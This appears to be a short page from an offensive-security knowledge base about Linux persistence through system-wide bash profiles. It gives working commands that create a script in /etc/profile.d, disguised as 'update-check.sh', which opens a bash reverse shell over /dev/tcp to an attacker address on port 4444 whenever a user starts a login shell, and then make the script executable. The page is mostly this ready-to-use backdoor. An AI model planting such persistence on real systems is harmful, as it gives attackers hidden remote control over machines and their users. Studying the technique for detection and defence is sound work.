Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 03. Linux / 03. Persistence / Bash Profile

System-Wide Profile

System-wide profile files affect multiple users and usually require root privileges to modify.

Create a profile script:

cat > /etc/profile.d/update-check.sh << 'EOF'
#!/bin/bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.37/4444 0>&1' &
EOF

Make it executable:

chmod +x /etc/profile.d/update-check.sh

The command will execute when users start login shells that process /etc/profile.